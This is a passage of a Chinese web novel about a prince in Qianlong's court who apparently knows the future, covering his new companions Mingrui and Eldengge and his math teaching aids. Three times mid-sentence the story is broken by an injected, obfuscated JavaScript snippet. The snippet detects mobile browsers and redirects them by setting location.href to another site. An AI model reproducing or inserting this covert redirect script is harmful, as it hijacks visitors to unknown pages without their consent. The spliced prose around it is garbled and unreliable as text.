乾隆很重视孩子们的满语,富察皇后从小就教两个孩子说满语,身边的奴才们也经常用满语和他们说话。 “是,就是彩虹的意思,嘿嘿,妹妹和彩虹一样漂亮!”永琏跑进屋,把妹妹本就乱糟糟的头发揉得更乱。 钮伦:“……” 钮伦一脸郑重的告诉她身边的嬷嬷宫女们,她以后也是有名字的小朋友了。 当然,这些奴才们见了她,还是只能称呼“三格格”、“小主子”。 因为下午可以玩耍,永琏上午就乖乖背了会儿《论语》。 等永璜过来请安,他有把妹妹有名字的事儿告诉永璜。 虽然钮伦这个名字很好,但永璜不太懂,弟弟为什么要让汗阿玛给妹妹取名。 永琏也不知道怎么解释,他总觉得身份、封号、序齿都代表不了一个自我的个体。无论男女,都应该有一个与身份无关的,独属于自己的名字。 …… 上过早朝,乾隆召见了几位官员,李玉就通传说,傅文、傅恒带着明瑞求见。 乾隆让人进来,三人恭恭敬敬行过礼,乾隆就让明瑞到近前来。 明瑞个头比永琏高一些,小身板却略显单薄,不像自家永琏,脸上身上都胖乎乎的。 “听说你阿玛教你读《论语》了?是满文还是汉文?”乾隆问面前的小豆丁。 “回皇上,阿玛先教我读满文,再教我读汉文。”明瑞乖巧道。 乾隆满意点点头,看一眼傅文,“你做的好,咱们满人子弟不能忘了满文。” 乾隆又让小明瑞背一段《论语学而篇》。 明瑞就摇头晃脑开始背,中间卡壳了一下,偷偷瞄自家阿玛和小叔叔。 乾隆就笑着提醒他,小明瑞见自己的皇帝姑父笑呵呵的,没有斥责自己,稍稍放松一些,接下来背得更流利了。 乾隆对他的学习进度也很满意,就是这孩子有些太瘦弱了。 他就捏捏小孩儿手臂,“要多吃饭,以后长大了,当咱们大清的巴图鲁。” 明瑞点点小脑袋,“明瑞谨遵皇上教诲!从明日开始,每顿多吃半碗饭。” 屋中几个大人听他一本正经的保证,都笑起来。 乾隆故意问:“为何是从明日开始,今天晚膳不算吗?” “小叔说,今日晚膳八成在宫里吃,”明瑞说着有点不好意思的抿抿嘴巴,“在宫里奴才不好意思添饭。” 乾隆:“……” 傅恒:“……” 乾隆笑的不行,忍不住揉了揉明瑞小脸,“没什么不好意思的,别说只是添半碗,添两碗都没事儿。”他说着瞅一眼有点尴尬的傅恒,“你小子倒是不客气,连留下用晚膳都想好了。” 傅恒忙解释,“回皇上,是因为明瑞今早说晚饭想吃莲藕,最近莲藕刚上市,家里采办还没买,小家伙有点闷闷不乐,我们急着出门,奴才就哄他说晚膳在宫里吃,明天再吃莲藕。” 小明瑞:“……” 乾隆:“瞧瞧你们家,怪可怜见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486988|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的,莲藕又不是什么名贵东西。”他说着拍拍明瑞肩膀,“一会儿到了长春宫就跟你姑姑说,晚膳做一道清炒莲藕,就说是朕吩咐的。” 明瑞嘴角不自觉扬了起来,高高兴兴的答应了。 几人又闲聊几句,永常带着儿子额尔登额到了。 乾隆就打发傅文继续去乾清门当差,让傅恒带着明瑞去长春宫。 去长春宫的路上,傅恒忍不住捏捏小侄子的脸颊。 “你可真老实。” 明瑞乖乖让小叔捏脸,“我向小叔学习。” 傅恒:“……”这小子是在故意气他吗? “阿玛额娘说小叔从小就老实。”明瑞道。 傅恒:“……”四哥四嫂一定是在夸自己,但自己刚才可不是在夸这小子啊! 叔侄俩到了长春宫,皇后立刻让人去后面叫永琏和钮伦。 趁俩小孩还没来,皇后就问傅恒,皇上对明瑞是否满意。 傅恒道;“皇上对明瑞很是和善,至于能否让明瑞做伴读,皇上没说。” 傅恒又哭笑不得的说了加菜的事儿,皇后也被逗笑,“明瑞这孩子,和你小时候一样老实。” 傅恒:“……” 皇后太了解自家万岁爷,听傅恒说就知道万岁爷对明瑞很满意,这伴读人选基本定了。 很快,永琏和钮伦就来了,二人行过礼,目光就被皇额娘身边坐着的小朋友吸引。 “这就是汗阿玛今早说的小伙伴吗?”永琏见那小孩长得格外精致可爱,不等他行礼,就主动问。 “是呀,这是你四舅家的明瑞,你们小时候见过的,你可能忘了。”皇后道。 永琏听到“明瑞”这个名字时,整个人呆住了。 明瑞,乾隆朝的名将,清缅战争中,为了给士兵们断后,重伤而亡,年仅三十八岁。 明瑞赶紧起身给两位小主子行礼,他知道今日进宫的目的,就格外留心二阿哥的神情。 可二阿哥半晌不叫起,反倒是三格格来拉他,“明瑞哥哥,我听小舅舅说起过你。” “真的吗?小叔说我什么?”明瑞注意力被转移,下意识问。 “说你会背皇玛法写的诗,我也会!”小丫头胜负欲超强,“我会背一首七律呢!” “我会背两首绝句。”明瑞道。 钮伦骄傲的抬抬下巴,“还是我厉害!” 皇后和傅恒都无心听俩小孩说话,而是有些担心地观察着永琏的神情。 只见小家伙眉头皱着,嘴角也向下撇,是不喜欢明瑞吗? 可方才明瑞并无半点失礼之处啊! “永琏。”皇后推推有些呆愣的儿子。 永琏这才回神,压下鼻间的酸涩,两步跑到明瑞跟前,“明瑞!你长得真好看!” 众人:“……” 众人就见永琏围着小明瑞转了一圈,然后拉住他的手,“我想跟你做朋友,好不好?” 明瑞:“……”小少年愣了下才弱弱道:“奴才不敢。” 永琏话说出口才意识到,不是随便什么人都能做皇子朋友的。 他想了想,转头看向额娘,“额娘,听说我们入了尚书房身边需要有伴读,儿子想让明瑞做伴读可以吗?明瑞一看就是会乖乖读书的好孩子!”明瑞看着和他差不多大,做伴读正合适,这样他就可以光明正大护着他了。 有他这个太子在,一定不会让明瑞陷入那样孤立无援的境地! 皇后虽觉儿子反应有点奇怪,但听他主动提出想让明瑞做伴读不由笑了,“这还得听你汗阿玛的。” “嗯嗯嗯,我晚上就和汗阿玛说。”永琏拉着小伙伴的手晃晃,笑眯眯看向明瑞,“我们去玩儿吧!我屋里好多玩具呢!” 皇后摆摆手,“去吧去吧,你们都去后面玩儿,等用晚膳的时候叫你们。” 仨小孩就兴高采烈的往后跑,永琏把各种玩具摆出来招待小伙伴,还让嬷嬷端茶果点心上来,投喂小明瑞。 “……再吃一块这个马蹄酥,很香,我平日最喜欢吃了!” 刚才已经吃完两块驴打滚一块沙琪玛的小明瑞不好意思的摸摸肚皮,“阿哥爷,奴才吃不下了。”还想留点肚子吃莲藕呢。 “你要多吃点,看你小胳膊还没我粗。”永琏道:“吃得好才能长个儿。” 钮伦看看比明瑞还矮一截的二哥,“二哥,你确定?” 永琏:“……” 11. 第十一章 最终,永琏还是没再继续投喂明瑞,而是命人把明瑞喜欢的驴打滚儿装起来,让明瑞带回家吃。 “但是驴打滚儿不好消化,你也不能一下吃太多哦。” 往前殿用膳的路上,永琏还在叮嘱明瑞。 明瑞乖乖应着,二阿哥比自己小两个月,却像自己的哥哥一样。 明瑞上面的兄长前两年夭折了,他没怎么体会过被哥哥照顾的感觉。 原来,有哥哥照顾的感觉不错。 晚膳已经摆好,皇后吩咐长春宫小厨房做了一道清炒莲藕,还有一道蜜汁藕,无论明瑞喜欢吃甜还是吃咸,都能吃上莲藕。 永琏这才知道明瑞今早竟然因为没莲藕吃有些闷闷不乐,不由想起历史上的明瑞曾在奏折说过,他小时候家里十分拮据。 而且明瑞还有一个很能花钱的额娘,后来明瑞的弟弟奎林犯错要赔钱,家里拿不出钱。乾隆还在朱批里说过,定然是明瑞兄弟纵容母亲奢靡浪费,家里才会这么穷。 毕竟当时的富察家四房还是有爵位的,明瑞在时还是一门两公爵,正常花销不至于如此。 当着额娘和小舅傅恒的面,永琏不好问,正想下回再问明瑞。就听皇后问傅恒,“手头还有钱花吗?” 傅恒闻言,立刻放下筷子道:“回禀娘娘,我平日花钱的地方不多,手头还有钱。” 皇后敢当着儿女的面问,自然是因为她接济兄弟的事儿乾隆都知道。 “你平日读书买笔墨纸张都要花钱,怎么没花钱的地方?”皇后蹙眉。 傅恒笑了笑,“娘娘放心,这些钱都是公中出的。” 皇后微微挑眉,现在家里是傅文之妻郭络罗氏掌管内务,郭络罗氏从前可不怎么待见傅恒。 自己还未出嫁时,郭络罗氏就克扣过傅恒的笔墨纸砚,理由也很冠冕堂皇,家里其他兄弟都没有这项开支,凭什么傅恒就有? 这位四嫂什么时候这么大方了? “蒙皇上天恩,如今四哥袭了爵位,又有了差事,家里自然不像从前。”傅恒微笑道。 皇后想想也是,自己和皇上都重视傅恒,家里人自然看在眼里,曾经轻视傅恒的,现在也不敢了。 永琏听着额娘和舅舅说话,傅恒在家的日子过得似乎不大好,否则额娘也不会关心他有没有钱。 幸好过不了几年,傅恒有了差事,然后就是火箭一样快的升迁,到那时候,他就再也不用为钱发愁了。 他听着大人说话,还不忘招呼明瑞和妹妹吃菜。 明瑞果然很喜欢吃莲藕,咸的甜的他都吃了挺多。 小家伙不禁在想,如果自己以后给二阿哥做伴读,就可以天天吃这么好吃的饭菜了。 用完晚膳,傅恒就要带明瑞出宫了。 永琏还不忘提醒小伙伴带上打包好的糕点。 皇后见自家儿子这么热情,显然很喜欢明瑞,便觉欣慰。 让明瑞做伴读,她也放心。 乾隆见了额尔登额也很满意,这孩子长得十分挺拔俊秀,再长大些,定然是个英俊小伙儿。说话行事也十分得体,恭敬诚恳。 他已经跟着家里请的师父读完了《论语》,但永常没打算培养儿子考科举,师父也就讲得比较粗略。正好可以跟着两位皇子再学一遍。 最让乾隆满意的,是额尔登额的骑射功夫,这孩子才十岁,已经能射移动靶子。 若有名师指导,定是个武将的好苗子! 乾隆虽然是想让他做永璜的伴读,但小少年们平日一同读书,永琏跟额尔登额也会熟悉起来。 先帝时期,乾隆就和永常很熟了。 他丝毫不怀疑永常对自己的忠心,他儿子更不会有乱七八糟的想法。 而且现在不是圣祖爷那会儿,大臣们不会在储位已定的情况下去挑拨皇子之间的关系。 晚上,他处理完手头奏折,先去了阿哥所看永璜。 汗阿玛难得过来,永璜又高兴又惶恐,甚至因为自己刚才没有在读书生出几分惭愧。 乾隆本来是想先考校下儿子的功课,进屋瞧见自己给永璜挑的字画摆设,就先背着手参观了一圈。 “你倒是会布置,这粉彩盘子里放个佛手,瞧着确实多几分意趣。”乾隆从前只觉永璜木讷,见他还挺会收拾屋子,有些刮目相看。 谁知永璜闻言,老实道:“回汗阿玛,是二弟建议我这么摆的。”他说着弯起眼睛,“二弟眼光真好。” 乾隆:“……” 他第一反应是骄傲,永琏那可是他选的小太子,审美水平当然不会差。 骄傲完又觉大儿子太老实了些。 乾隆看着面前的小少年,不由想起他那早逝的额娘。 也是老实巴交的性子,明明很早跟了他,又生了皇长子,在三位福晋面前,还是小心侍奉。 当时,他有一个侧福晋的位置一直空缺,大家都觉得会是生育过一儿一女的富察格格做侧福晋。 他也想好了,等嫡母孝敬宪皇后丧期过了就和汗阿玛提一提。 谁料雍正十二年,汗阿玛竟指了辉发那拉氏做他的侧福晋。 他很怕富察氏有委屈有怨言,特地叮嘱当时还是嫡福晋的皇后仔细观察。 皇后却说,富察氏对侧福晋十分恭敬,二人都是安静守分的性子,相处的非常好。 乾隆本想着,等自己登基后,就给富察氏封妃,起码要和那拉氏平起平坐。 但富察氏实在无福,竟早早病逝了。 乾隆甚至后悔过,当初就应该早些和汗阿玛和额娘说明,自己想让富察氏做侧福晋。 当然,这种念头也就是一瞬间的事儿,真要是重来一次,他还是不会在嫡母丧期提什么侧福晋。 但对富察氏的愧疚和惋惜却是一直埋在乾隆心里的,现在能做的,大概就只有教导好永璜。 永璜就见汗阿玛看自己的目光突然柔软下来,然后拉自己到身边,细细问自己的日常起居。 平日汗阿玛见了自己都只问读书的事儿,很少会关心他一天睡多少个时辰,喜欢吃什么这些小问题。 永璜有些莫名,心里却暖融融的。 小少年不会撒谎,也不懂报喜不报忧,就如实回答。 乾隆听永璜说晚上睡觉总是做噩梦惊醒,不由蹙眉。 “怎么不早说?” 永璜低着脑袋还有点不好意思,“儿子以为是刚搬到阿哥所,一个人住有点害怕,就没说,想着适应适应就好了。” 乾隆:“你都八岁了,一个人住怎么会害怕?再说你以前不也是一个人住吗?” 他刚登基那会儿,永璜还跟弟弟妹妹一起住长春宫。 永璜脑袋埋得更低,半晌才支吾道:“不,不一样的,从前在长春宫,二弟就住我对面,皇额娘住前殿,汗阿玛也经常在长春宫就寝,我想到大家都住得很近,就……就不怕。” 乾隆:“……”他忍不住翻了个白眼,自己怎么会有这么粘人胆小的儿子哦。 嫌弃之外,乾隆又有些心疼。 这么粘人胆小的儿子,搬到阿哥所后害怕却从未和人提过。 如果他额娘还在,他一定会和他额娘说。 皇后对他再好,孩子终究不能像对着亲额娘那样撒娇。 永璜等了半天也没等到汗阿玛训斥自己,忍不住抬头瞄一眼汗阿玛的神情。 果见汗阿玛眉头紧紧皱着。 他还没来得及垂下目光,汗阿玛的大手就落在了他肩上,轻轻拍了两下。 永璜:??? 永璜正琢磨汗阿玛这是什么意思,就听他扬声吩咐外面的李玉,“传太医来。” 李玉在外应了声“嗻”。 永璜慢半拍回神,“儿子无大碍,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486989|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日等二弟搬过来就好了。” 乾隆:“……亏你还是当哥哥的。”虽然儿子之间亲近是好事,但他第一次见兄长粘弟弟。 永璜不好意思的抿唇,可他也不知为什么,弟弟在他就很安心。 太医很快到了,给永璜诊脉后,只说永琏有些心肾不交,不必喝汤药,喝几日酸枣仁茶就有好转。 乾隆这才放心,又交代永璜身边的奴才们几句,便回了长春宫。 他进屋没瞧见永琏和钮伦,就问皇后,“孩子都睡了?” 皇后亲自服侍他换衣服,“皇上今日回来的晚些,俩孩子等不住,困得直流眼泪,臣妾就打发他们去睡了。” “刚去看了看永璜。”乾隆道。 “您亲自去看他,孩子肯定高兴。”皇后道。 “傻乎乎的,晚上经常做噩梦也不知道说。”乾隆叹气。 皇后闻言,忙欲请罪:“是臣妾照料不周。” 乾隆抓住她的手,“你已经很尽心了,是那小子胆小。”他怕皇后自责,赶紧转移话题,“永琏和明瑞相处的怎么样?” “两个孩子玩得很好,永琏主动提出想让明瑞做伴读呢。”皇后笑道:“刚就一直等着皇上来,要跟您说这事儿。” 乾隆也笑起来,“他倒是挺有主意,还自己选上伴读了。” 皇后感觉永琏随了皇上,就喜欢长得好看的人。 “朕也觉得明瑞那孩子挺好,招人疼。”乾隆道:“朕明日就告诉傅文,让明瑞给永琏当伴读。你这个当姑姑的平日也好多照顾照顾他。” 皇后忙替明瑞谢恩。 乾隆扶她起来,又说永璜的伴读也定了。 皇后也知道董鄂永常,先帝时期就陪皇上办过差事。 皇上对他十分信任。 次日,皇后才告诉永琏,昨日明瑞进宫,就是因为汗阿玛想让他做自己的伴读。 “太好了!”永琏有些惊喜,毕竟他可没听说历史上明瑞做过端慧太子的伴读。 皇后道:“但你俩平日要以读书为重,不能凑在一起只想着玩儿。” 永琏小鸡啄米似的点头,“对了,我的伴读定了,那我大哥的伴读有人选了吗?” “你汗阿玛给他选了侍卫永常的儿子额尔登额。”皇后道。 “额尔登额!” “是呀!”皇后见儿子震惊的睁大眼睛,有些疑惑,永琏当初听到明瑞的名字时,也是震惊了一会儿。 好像他认识他们似的。 他听说过明瑞正常,但应该没听说过额尔登额才对。 历史上,第一次征缅,明瑞的计划是兵分两路,自己带东路军,额尔景额带西路军,额尔景额突然死了,就换成额尔登额,明瑞都快打到缅甸首都了,这个额尔登额还在那磨叽。最后就是因为额尔登额没有及时支援明瑞,才导致明瑞的军队粮草断绝,陷入绝境。 后来乾隆知道额尔登额的骚操作后,震怒,将其捉拿回京凌迟处死。 因为额尔登额一系列的操作太过匪夷所思,仿佛他是缅甸派到大清的卧底。永琏对此人印象很深。 汗阿玛到底什么眼光啊?怎么能让额尔登额给大哥做伴读?! 可那是大哥的伴读,他又没有发言权。 小少年不禁烦恼地皱起眉头。 还没想出办法,永璜来了。 他已经知道自己有伴读的事儿,高兴的和弟弟分享。“汗阿玛说,那个额尔登额骑射功夫很厉害!” 永琏哼了声,骑射功夫厉害才能带兵打仗。 可就算他是战神,永琏也不会让他上战场的。 一定要早早让汗阿玛发现,额尔登额这小子心术不正! 永璜:???弟弟怎么突然不高兴了?是因为自己夸额尔登额骑射厉害吗? 他也想夸弟弟来着,可弟弟目前还只会玩弹弓啊! 12. 第十二章 永琏不得不佩服汗阿玛,真会挑人。 但又觉得这样也合理,若明瑞和额尔登额在征缅前没有恩怨,额尔登额故意延误战机的操作就显得匪夷所思。 反之,二人之前结过梁子,额尔登额这么做,倒有几分说得通。 但这也并不意味着额尔登额这么做有道理,如果明瑞像大多数将领一样,自己先撤,让士兵断后,那死得就是数千将士。 永琏甚至希望额尔登额和明瑞的矛盾早点显现出来,这样一来,征缅的时候,他就有理由阻止汗阿玛派额尔登额去当参赞了。 但凡换个脑子正常点的人,按照明瑞的计划,胜算都很大。 如果第一次清缅战争清军胜利,也就不会有后来的第二次、第三次、第四次。 要知道征缅到最后也没有真正打赢,而是以和谈的方式结束。 当时清军中瘟疫蔓延,阿里衮等将官病死,傅恒也卧病在床。 四次战争下来,对清廷的损失是不可估量的。 永琏突然就觉得汗阿玛挑选的伴读很不错,给了他改变的机会! 凡事往好里想,小家伙又变得生龙活虎。 兄弟俩带着钮伦去宁寿宫给太后请安。 皇后早上已经去过了,就让三个孩子去,老人家想孙子孙女,让他们在那边多玩一会儿。 小弘曕要等先帝下葬后才来宁寿宫住,但太后太妃们已经给小家伙布置好了房间,太后又让内务府做了些玩具。 永璜他们来,正巧遇见造办处那边送玩具过来。 仨小孩眼巴巴瞧着,永琏给太后请过安后,就说想先替六叔试试这些新玩具,万一不好玩,好让内务府重做。 太后:“你这小子,想玩就直说,皇玛嬷还能不让你玩儿?” 永琏嘿嘿笑。 太后在他软乎乎的脸颊上捏了一把,就让三个孩子去次间玩儿。 裕太妃在旁瞧着,不由和太后笑道:“二阿哥跟皇上小时候真是一模一样。” 太后点头,“都是小机灵鬼,会哄哀家高兴。” 也就只有太后敢评价当今皇上是小机灵鬼。 她又和裕太妃聊起从前在雍王府的事儿。 虽然她们当初不怎么受宠,但在雍王府的日子也不算差。 不过这不能全归功于先帝,主要还是孝敬宪皇后为人和善。 “说起来,娘娘的梓宫在田村也放了快五年。”太后道:“哀家想去祭拜,又不合规矩。” 因为孝敬宪皇后在世时,对先帝其他女人都很照顾,对孩子们更是照顾有加,尤其对弘历好。当然这其中有弘历得圣祖看重的缘故,但太后还是很感激孝敬宪皇后。 裕太妃道:“孝敬宪皇后的梓宫要移入泰陵与先帝合葬,到时候我们若能去送送就好了。” “这肯定是要去的。”太后道:“哀家回头和皇帝说一声,这件事不能马虎。” 二人在明间说话,依稀还能听见次间里小孩子们叽叽喳喳的声音。 永璜、永琏似乎在教钮伦数数。 永琏是真没想到,妹妹五岁了,竟然数不到五十。 他试图教妹妹掰着指头数,但小丫头数着数着就乱了。 永琏想了想,很有必要做一些数学教具。 “大哥,能不能陪我去造办处一趟。”永琏道。 “可以呀!”永璜没问去做什么,就点头答应,又看一眼钮伦,“那三妹……?” “外面天热,先让三妹在玛嬷这玩儿吧。”永琏道。 “不,我也要和你们一起去!”小丫头跳下榻,率先往外跑。 “皇玛嬷,我们要去造办处。”钮伦对太后道。 “去做什么?”太后皱眉,还以为那些玩具里真有质量不好的。 “我们去做一些可以学习数学的工具。”永琏出来,跟玛嬷解释道。 一旁裕太妃不由夸道:“真是好学的好孩子。” 太后也笑得见眉不见眼,“要做什么工具,让太监去传话就是了,大热天的,何必亲自跑一趟。” “没事儿,我怕他们说不清楚。”永琏道,正好他也想看看造办处什么样的。 太后想起从前先帝经常让造办处返工,怪折腾人的。就点头答应,但怕钮伦晒着,不让她去。 钮伦嘟着小嘴,却也不敢闹,只能眼睁睁看着俩哥哥蹦蹦跳跳跑出去了。 俩小少年一边往造办处走,一边讨论要做哪些教具。 首先要给钮伦做一些计数棒,用打磨光滑的小木棍就行,做一百根。 “再做一些不同形状的木片、圆的、三角的、正方形、菱形、平行四边形……” 前面几个形状永璜能理解,平行四边形却是头一回听说,他就好奇问弟弟,“平行四边形是什么样?” 永琏:“……”差点忘了清朝没这个叫法,但这名字也很好理解,他就说:“等到了造办处,我给你画出来你就明白了。” 永璜点点脑袋,先在心里琢磨起来。 要从宁寿宫到协和门西,还挺远,等快到造办处时,永璜突然问永琏,“正方是平行四边形吗?” “是呀是呀!”永琏高兴的眼睛弯弯,“大哥好聪明!但正方只是平行四边形的一种。” 永璜若有所思地皱皱眉头,“我好像知道了。” 造办处的官员没想到两位小阿哥亲自来了,喝茶的、打盹儿的、记档的,干活的、全都慌里慌张的起身行礼。 永璜、永琏让免礼后,就有一名主管造办处的郎中上前,笑问道:“两位阿哥爷,有什么吩咐?” 主子亲自前来,估计是有要紧的东西要做,过几日是万寿节,难道两位小阿哥要给皇上做寿礼? 旁边几名工匠都打起精神听吩咐。 万万没想到,二阿哥竟然只是要做学数学的小木棍和小木片。 这东西对造办处的能工巧匠来说,没有丝毫难度。 永琏让人拿来纸笔,“有没有尺子。” 匠人们需要画图,各种量尺当然有。 永琏见一旁案上放着一个黑乎乎的长条,就问:“那是炭笔吗?” “回阿哥爷,那正是炭笔,匠人们划线方便些。” 这比毛笔好控制多了,永琏立刻道:“拿来我用用。” 郎中拿来炭笔,匠人们怕把手弄脏,还设计了一个笔套。 现在的炭笔外面没有木头包裹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486990|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很容易断,就做的比后世粗一些。 永琏用量尺比着,画了一个平行四边形,一个梯形,还有五边形和六边形。 永璜在旁边看着,见永琏画出的平行四边形不禁笑起来,“我想的就是这样,原来两条边这样就叫‘平行’,真恰当!” 永琏:“是吧是吧!” 他又想用圆规画一个圆,都已经拿起来了,余光瞥见旁边郎中有些惊讶的目光,才意识到自己不应该会用圆规。 别说清朝还没正式学过数学的小孩儿,就是后世六岁的小孩也未必会用圆规。 他赶紧调整表情,“这个是做什么的?” “回阿哥爷,这是圆规,能画出圆形。”郎中介绍道,这东西宫里统共也没几把。 “那正好,你能帮我画个圆吗?”永琏把圆规递给对方。 郎中就调整圆规的角度,画了一个圆出来。 永琏托着下巴想了想,“那你按照西洋钟的样子,在这个圆上画一个表盘。” 郎中心说这个太简单了。 “不要有花里胡哨的东西,把数字标清楚就行。”永琏道。 “好嘞好嘞,奴才一定照办。” “做一个完整的,然后再做一个能分成十二等分的。”永琏说着用尺子在圆上比划了一下。 “奴才明白。” 永琏暂时就想到这些,便起身要离开。 众人殷勤地把两位小主子送到门口,看着俩少年走远,才回到屋中。 “二阿哥说做这些是为了认识图形,可他不都认识了吗?” “图形有什么认不认识的,只有见没见过,只要见过就是认识了呗。”一名工匠道。 “诶,小主子们学的那个叫几何,所谓的认识可不止是知道是方是圆,还要用上算数呢。” 郎中就吩咐众人赶紧去干活,木棍木片都要打磨平整,一根木刺也不能有。 现在造办处这些人,大多是经历过先帝调教的,做事精益求精,哪儿能出现这种疏忽? 乾隆很快就知道俩儿子跑造办处去了,他第一反应也是俩小子在给自己准备万寿节礼物,因为丧期未过,万寿节肯定不办,但儿子有孝心,送的礼物还是能收的。 他就没打听儿子们要给自己送什么,保留一点期待感比较好。 结果,晚上乾隆回到长春宫,永琏和钮伦还没睡,就凑上来跟他讲去造办处做教具的事儿。 “……二哥说,做这些东西可以教我学数学。”钮伦道,哥哥们对她真好,学什么都不愿落下她。 “这些东西我们也可以用,”永琏道:“所以儿子让造办处先做了三套。” 乾隆:“……” 行吧,儿子喜欢学习是好事,比什么礼物都让他高兴。 ……但是,这俩小子不会真把他这个阿玛的生辰给忘了吧? “好好好,你们这般好学,汗阿玛高兴。”乾隆笑道:“等中秋节过了,你和你大哥就正式入尚书房读书。” 万寿节和中秋就差两天,自己提醒的这么明显了,永琏这小子应该能想起来吧。 永琏:“哇!马上就可以吃月饼了,汗阿玛,我不喜欢五仁的,想吃枣泥馅儿!” 13.第十三章 听乾隆说起中秋,皇后就知道他想提醒什么。 有点哭笑不得,又担心永琏想不起来,正想再提醒的明显一点儿。 就见小钮伦眼睛突然睁大,“中秋节前还有汗阿玛的生辰,钮伦给汗阿玛唱一首歌谣祝寿!” 乾隆闻言,瞬间眉开眼笑,把宝贝闺女抱起来,揉揉她脑袋顶上的小揪揪,“还是我们宝贝钮伦乖!” 他说着瞥一眼有些呆愣的儿子,轻轻哼了声。 永琏:“……”完全没想起来。 他慢半拍反应过来,汗阿玛刚才听到他去造办处做数学教具时,为何笑容僵了一瞬。 “给汗阿玛的生辰礼当然要亲手制作,儿子已经开始规划了。”永琏眼睛都不眨的撒谎。 乾隆在儿子脑袋顶上敲了一下,“朕倒要看看,你能规划出什么来。” 永琏抬抬下巴,“永琏准备的礼物,汗阿玛肯定没见过。” 这下连皇后都听不下去,“还有什么是你能做出来,你汗阿玛没见过的。现在夸下海口,到时候可不好收场哦!” “汗阿玛虽富有四海,但一定还有没见过的东西。”永琏不服气。 “朕没见过的东西多,但朕没见过你却见过的……”乾隆说到这儿,忽然想到会不会是永琏在先帝那儿见过的。 先帝那儿的精巧玩意儿倒是不少。 他于是又期待起来,“那朕就等着你的生辰礼。” 永琏:“永琏送了生辰礼后,是不是就可以吃枣泥馅儿的月饼啦?” 乾隆:“……” 没过两日,内务府就把三套数学教具送过来了,每一套都用一个雕花的小木盒子装着,小木盒分了不同隔断,把计数棒和图形分开。 永琏很满意,让马瑞给造办处的匠人们送了点赏钱,“顺便要一支炭笔。” 马瑞领命,不一会儿带回来三支,还都带笔套。 “负责造办处的官员说,让您慢慢用。炭笔多的是。”马瑞道。 永琏心说造办处那边太殷勤了,也好,以后麻烦他们的时候还多呢。 这年头做什么都要算吉日,永琏从长春宫搬到阿哥所也需要钦天监选日子,就选在八月初九。 从八月初七开始,乾隆和皇后就在交代永琏一个人住的各种注意事项。 尤其皇后,一万个不放心,儿子从小跟在她身边长大的,才六岁就要一个人去住阿哥所,能适应吗? 哪怕永琏拍着小胸脯保证自己会照顾好自己,皇后还是千叮咛万嘱咐,让他有什么不适应一定要说,不能像永璜一样,自己忍着。 永琏这才知道,大哥一个人住竟然做噩梦,他忍不住嘲笑了下大哥。 皇后心说你未必比人家好到哪儿去。 不过兄弟俩院子挨着,确实能有个照应。 除了叮嘱永琏,皇后和方嬷嬷也交待了不少。 小阿哥跟前一般是嬷嬷和太监伺候,小宫女只负责洗衣打扫。 永琏身边的奴才,除了陈福、马瑞是乾隆亲自挑的,剩下都是皇后选的,不尽心的早就被换了。 钮伦也很舍不得二哥,更舍不得二哥的玩具…… “二哥,我从来没见你玩儿过这个琉璃小酒壶……”钮伦拿着小酒壶凑到永琏身边,露出一个甜笑。 永琏现在对妹妹的笑容有了一点抵抗力,冷静道:“因为这本来就不是玩的,是摆着看的。” “不呀,这个可以玩,我有一套小琉璃碗,和它颜色一样。”钮伦道:“可以拿来玩家家酒。” 永琏故意不吭声。 钮伦就用脑袋蹭蹭二哥手臂,“二哥最好了,钮伦给你唱一首歌谣。” 虽然小钮伦唱歌从来不在调上,但永琏还是很喜欢听妹妹唱歌的。 笑眯眯听小丫头奶声奶气唱完一首歌谣,永琏才答应把小酒壶送给她。 还有一些他更小时玩得布老虎、拨浪鼓和九连环,皇后留了几样有纪念意义的,剩下的扔了可惜,正好纯嫔抱着小永璋过来,皇后就拿这些找出来的玩具逗永璋。 永璋一岁多了,已经会叫“娘娘”“阿玛”,走路也挺稳当。 永琏穿来后还是头一回见这个弟弟,听纯嫔说,是因为之前天气太热,没敢抱他出来。 这几日稍微凉快了些,就带小家伙来给皇后娘娘请安。 永璜、永琏和钮伦就围着弟弟,教他叫哥哥姐姐。 永璋看看俩哥哥的光脑门,半晌却喊了声“阿玛”。 “哎哎哎,阿玛可不是随便叫的。”永琏摸摸傻弟弟脑袋。 永璋无辜地眨巴着大眼睛。 永琏记得历史上的永璋二十多岁就病逝了,心里有些难过,有些意外导致的生死他能想办法避免。 像永璋这样从小就身体不好的,他又不会医术,改变起来就没那么容易了。 他能做的,大概只有提醒永璋多注意身体吧。 指望医学在二十几年里迅速发展,也不太现实。 永琏又不会做青霉素什么的。 哎,谁让他前世死的太早,文化水平有限。 